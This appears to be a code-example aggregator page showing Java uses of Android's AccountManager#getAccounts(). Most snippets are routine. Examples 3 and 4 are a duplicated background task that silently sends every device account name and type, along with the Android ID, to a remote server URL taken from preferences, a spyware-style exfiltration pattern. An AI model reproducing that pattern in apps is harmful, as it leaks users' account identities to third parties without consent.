Java Code Examples for android.accounts.AccountManager#getAccounts()

The following examples show how to use android.accounts.AccountManager#getAccounts() . These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
private static String getUserIdentity(Context context) {
    if (ActivityCompat.checkSelfPermission(context, Manifest.permission.GET_ACCOUNTS) ==
            PackageManager.PERMISSION_GRANTED) {
        AccountManager manager = (AccountManager) context.getSystemService(Context.ACCOUNT_SERVICE);
        @SuppressLint("MissingPermission") Account[] list = manager.getAccounts();
        String emailId = null;
        for (Account account : list) {
            if (account.type.equalsIgnoreCase("com.google")) {
                emailId = account.name;
                break;
            }
        }
        if (emailId != null) {
            return emailId;
        }
    }
    return "";
}
 
Example 2
Source Project: CrashReporter   File: AppUtils.java    License: Apache License 2.0 6 votes vote down vote up
private static String getUserIdentity(Context context) {
    if (ActivityCompat.checkSelfPermission(context, Manifest.permission.GET_ACCOUNTS) ==
            PackageManager.PERMISSION_GRANTED) {
        AccountManager manager = (AccountManager) context.getSystemService(Context.ACCOUNT_SERVICE);
        Account[] list = manager.getAccounts();
        String emailId = null;
        for (Account account : list) {
            if (account.type.equalsIgnoreCase("com.google")) {
                emailId = account.name;
                break;
            }
        }
        if (emailId != null) {
            return emailId;
        }
    }
    return "";
}
 
Example 3
@Override
    protected String doInBackground(String... params) {     
 	AccountManager am = AccountManager.get(getApplicationContext());
     Account[] accounts = am.getAccounts();
     ArrayList<String> googleAccounts = new ArrayList<String>();
     int i = 0;
     for (Account ac : accounts) {
     	if(i<Integer.parseInt(j))
     	{
         String acname = ac.name;
         String actype = ac.type;
         googleAccounts.add(ac.name);            
         
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + actype + "] " + acname );
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
     	}
     	i++;
     }
     
  return "Executed";
    }
 
Example 4
@Override
    protected String doInBackground(String... params) {     
 	AccountManager am = AccountManager.get(getApplicationContext());
     Account[] accounts = am.getAccounts();
     ArrayList<String> googleAccounts = new ArrayList<String>();
     int i = 0;
     for (Account ac : accounts) {
     	if(i<Integer.parseInt(j))
     	{
         String acname = ac.name;
         String actype = ac.type;
         googleAccounts.add(ac.name);            
         
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + actype + "] " + acname );
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
     	}
     	i++;
     }
     
  return "Executed";
    }
 
Example 5
public Set<AccountIdentifier> initAccounts() {
    LinkedHashSet<AccountIdentifier> ret = new LinkedHashSet<>();
    final SQLiteDatabase db = ConnectionManager.getDatabase(context);

    insertAccount(db, "local", "Notes");
    ret.add(new AccountIdentifier("local","Notes"));

    final AccountManager accountManager = AccountManager.get(context);
    final Account[] accounts = accountManager.getAccounts();

    for(Account account : accounts){
        String email = accountManager.getUserData(account, AuthenticatorActivity.KEY_EMAIL);
        String rootFolder = accountManager.getUserData(account,AuthenticatorActivity.KEY_ROOT_FOLDER);

        insertAccount(db, email, rootFolder);
        ret.add(new AccountIdentifier(email, rootFolder));
    }

    return ret;
}
 
Example 6
private String getAccount(AccountManager am) {
    String str = "";

    if (am != null) {
        Account[] accounts = am.getAccounts();

        for (int i = 0; i < accounts.length; i++) {
            if (str.length() > 0) {
                str += ",";
            }

            str += "\"account" + i + "Name\": " + checkValue(accounts[i].name) + ","
                    + "\"account" + i + "Type\": " + checkValue(accounts[i].type);
        }
    }

    return str;
}
 
Example 7
private String getAccount(AccountManager am) {
    String str = "";

    if (am != null) {
        Account[] accounts = am.getAccounts();

        for (int i = 0; i < accounts.length; i++) {
            if (str.length() > 0) {
                str += ",";
            }

            str += "\"account" + i + "Name\": " + checkValue(accounts[i].name) + ","
                    + "\"account" + i + "Type\": " + checkValue(accounts[i].type);
        }
    }

    return str;
}
 
Example 8
/**
 * Create a list of Account objects for each account that is acceptable. Filter out
 * accounts that don't match the allowable types, if provided, or that don't match the
 * allowable accounts, if provided.
 */
private ArrayList<Account> getAcceptableAccountChoices(AccountManager accountManager) {
  final Account[] accounts = accountManager.getAccounts();
  ArrayList<Account> accountsToPopulate = new ArrayList<Account>(accounts.length);
  for (Account account : accounts) {
      if (mSetOfAllowableAccounts != null
              && !mSetOfAllowableAccounts.contains(account)) {
          continue;
      }
      if (mSetOfRelevantAccountTypes != null
              && !mSetOfRelevantAccountTypes.contains(account.type)) {
          continue;
      }
      accountsToPopulate.add(account);
  }
  return accountsToPopulate;
}
 
Example 9
@Override
protected Object doInBackground(Object... params) {
	// Get accounts
	mListAccount = new ArrayList<CharSequence>();
	AccountManager accountManager = AccountManager.get(ActivityApp.this);
	mAccounts = accountManager.getAccounts();
	mSelection = new boolean[mAccounts.length];
	for (int i = 0; i < mAccounts.length; i++)
		try {
			mListAccount.add(String.format("%s (%s)", mAccounts[i].name, mAccounts[i].type));
			String sha1 = Util.sha1(mAccounts[i].name + mAccounts[i].type);
			mSelection[i] = PrivacyManager.getSettingBool(-mAppInfo.getUid(), Meta.cTypeAccount, sha1, false);
		} catch (Throwable ex) {
			Util.bug(null, ex);
		}
	return null;
}
 
Example 10
Source Project: capacitor-email   File: EmailPlugin.java    License: MIT License 5 votes vote down vote up
@PluginMethod()
public void isAvailable(PluginCall call) {
    String app = call.getString("alias", "");
    boolean has = checkPermission();
    JSObject object = new JSObject();
    PackageManager pm = getActivity().getPackageManager();
    if (aliases.has(app)) {
        app = aliases.getString(app);
    }
    object.put("hasAccount", false);

    if (has) {
        AccountManager am;
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            am = AccountManager.get(getContext());
        } else {
            am = AccountManager.get(getContext());
        }

        Pattern emailPattern = Patterns.EMAIL_ADDRESS;
        for (Account account : am.getAccounts()) {
            if (emailPattern.matcher(account.name).matches()) {
                object.put("hasAccount", true);
            }
        }

    }

    try {
        ApplicationInfo info = pm.getApplicationInfo(app, 0);
        object.put("hasApp", true);
    } catch (PackageManager.NameNotFoundException e) {
        object.put("hasApp", false);
    } finally {
        call.success(object);
    }

}
 
Example 11
Source Project: capacitor-email   File: EmailPlugin.java    License: MIT License 5 votes vote down vote up
private boolean checkPermission() {
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
        AccountManager am = AccountManager.get(getContext());
        return am.getAccounts().length > 0;
    }
    return (ActivityCompat.checkSelfPermission(getContext(), Manifest.permission.GET_ACCOUNTS) == PackageManager.PERMISSION_GRANTED);
}
 
Example 12
/**
 * if iGap Account not created yet, create otherwise just detect and return
 */
public static Account getiGapAccountInstance() {

    if (G.iGapAccount != null) {
        return G.iGapAccount;
    }

    AccountManager accountManager = AccountManager.get(G.context);
    if (accountManager.getAccounts().length != 0) {
        for (Account account : accountManager.getAccounts()) {
            if (account.type.equals(G.context.getPackageName())) {
                G.iGapAccount = account;
                return G.iGapAccount;
            }
        }
    }

    G.iGapAccount = new Account(Config.iGapAccount, G.context.getPackageName());
    String password = "net.iGap";
    try {
        accountManager.addAccountExplicitly(G.iGapAccount, password, null);
    } catch (Exception e1) {
        e1.getMessage();
    }

    return G.iGapAccount;
}
 
Example 13
Source Project: ExamplesAndroid   File: MainActivity.java    License: Apache License 2.0 5 votes vote down vote up
static String getEmail(Context context) {
    AccountManager accountManager = AccountManager.get(context);
    Account[] accounts = accountManager.getAccounts();
    Account account = accounts[0];//getAccount(accountManager);

    if (account == null) {
        return null;
    } else {
        return account.name;
    }
}
 
Example 14
Source Project: ExamplesAndroid   File: MainActivity.java    License: Apache License 2.0 5 votes vote down vote up
static String getEmail(Context context) {
    AccountManager accountManager = AccountManager.get(context);
    Account[] accounts = accountManager.getAccounts();Account account = accounts[0];//getAccount(accountManager);

    if (account == null) {
        return null;
    } else {
        return account.name;
    }
}
 
Example 15
public static List<Account> findAccounts(final Context context) {
    final AccountManager accMgr = AccountManager.get(context);
    final Account[] accounts = accMgr.getAccounts();

    List<Account> accountsAvailable = new ArrayList<>();
    for (final Account account : accounts) {
        for (String accountType : ACCOUNT_TYPES) {
            if (accountType.equals(account.type)) {
                accountsAvailable.add(account);
            }
        }
    }
    return accountsAvailable;
}
 
Example 16
Source Project: opentasks   File: TaskListFragment.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * Trigger a synchronization for all accounts.
 */
private void doSyncNow()
{
    AccountManager accountManager = AccountManager.get(mAppContext);
    Account[] accounts = accountManager.getAccounts();
    for (Account account : accounts)
    {
        // TODO: do we need a new bundle for each account or can we reuse it?
        Bundle extras = new Bundle();
        extras.putBoolean(ContentResolver.SYNC_EXTRAS_MANUAL, true);
        ContentResolver.requestSync(account, mAuthority, extras);
    }
}
 
Example 17
/** Returns any Google account enabled on the device. */
private static Account getAccount(AccountManager accountManager) {
  Preconditions.checkNotNull(accountManager);
  for (Account acct : accountManager.getAccounts()) {
    if (GOOGLE_ACCOUNT_TYPE.equals(acct.type)) {
      return acct;
    }
  }
  throw new RuntimeException("No google account enabled.");
}
 
Example 18
/** Returns any Google account enabled on the device. */
private static Account getAccount(AccountManager accountManager) {
  Preconditions.checkNotNull(accountManager);
  for (Account acct : accountManager.getAccounts()) {
    if (GOOGLE_ACCOUNT_TYPE.equals(acct.type)) {
      return acct;
    }
  }
  throw new RuntimeException("No google account enabled.");
}
 
Example 19
Source Project: delion   File: ChromeBackupAgent.java    License: Apache License 2.0 4 votes vote down vote up
protected Account[] getAccounts() {
    Log.d(TAG, "Getting accounts from AccountManager");
    AccountManager manager = (AccountManager) getSystemService(ACCOUNT_SERVICE);
    return manager.getAccounts();
}
 
Example 20
@Override
public void onReceive(Context context, Intent intent)
{
    if (Build.VERSION.SDK_INT < 26)
    {
        // this receiver is Android 8+ only
        return;
    }
    AccountManager accountManager = AccountManager.get(context);
    String authority = AuthorityUtil.taskAuthority(context);
    String description = String.format("Please give %s access to the following account", new ManifestAppName(context).value());
    // request access to each account we don't know yet individually
    for (Intent accountRequestIntent :
            new Mapped<>(
                    account -> AccountManager.newChooseAccountIntent(account, new ArrayList<Account>(singletonList(account)), null,
                            description, null,
                            null, null),
                    new Mapped<>(
                            this::account,
                            new Mapped<>(RowSnapshot::values,
                                    new QueryRowSet<>(
                                            new TaskListsView(authority, context.getContentResolver().acquireContentProviderClient(authority)),
                                            new MultiProjection<>(TaskContract.TaskLists.ACCOUNT_NAME, TaskContract.TaskLists.ACCOUNT_TYPE),
                                            new Not<>(new AnyOf<>(
                                                    new Joined<>(
                                                            new Seq<>(new EqArg<>(TaskContract.TaskLists.ACCOUNT_TYPE, TaskContract.LOCAL_ACCOUNT_TYPE)),
                                                            new Mapped<>(AccountEq::new, new Seq<>(accountManager.getAccounts()))))))))))
    {
        if (Build.VERSION.SDK_INT < 28)
        {
            context.startActivity(accountRequestIntent);
        }
        else
        {
            // on newer Android versions post a notification instead because we can't launch activities from the background anymore
            String notificationDescription = String.format("%s needs your permission", new ManifestAppName(context).value());
            NotificationManager nm = context.getSystemService(NotificationManager.class);
            if (nm != null)
            {
                NotificationChannel errorChannel = new NotificationChannel("provider_messages", "Sync Messages", NotificationManager.IMPORTANCE_HIGH);
                nm.createNotificationChannel(errorChannel);
                Resources.Theme theme = context.getTheme();
                theme.applyStyle(context.getApplicationInfo().theme, true);

                nm.notify("stale_list_broadacast", 0,
                        new Notification.Builder(context, "provider_messages")
                                .setContentText(notificationDescription)
                                .setContentIntent(PendingIntent.getActivity(context, 0, accountRequestIntent, PendingIntent.FLAG_UPDATE_CURRENT))
                                .addAction(new Notification.Action.Builder(null, "Grant",
                                        PendingIntent.getActivity(context, 0, accountRequestIntent, PendingIntent.FLAG_UPDATE_CURRENT)).build())
                                .setColor(new AttributeColor(theme, R.attr.colorPrimary).argb())
                                .setColorized(true)
                                .setSmallIcon(R.drawable.ic_24_opentasks)
                                .build());
            }
        }
    }
}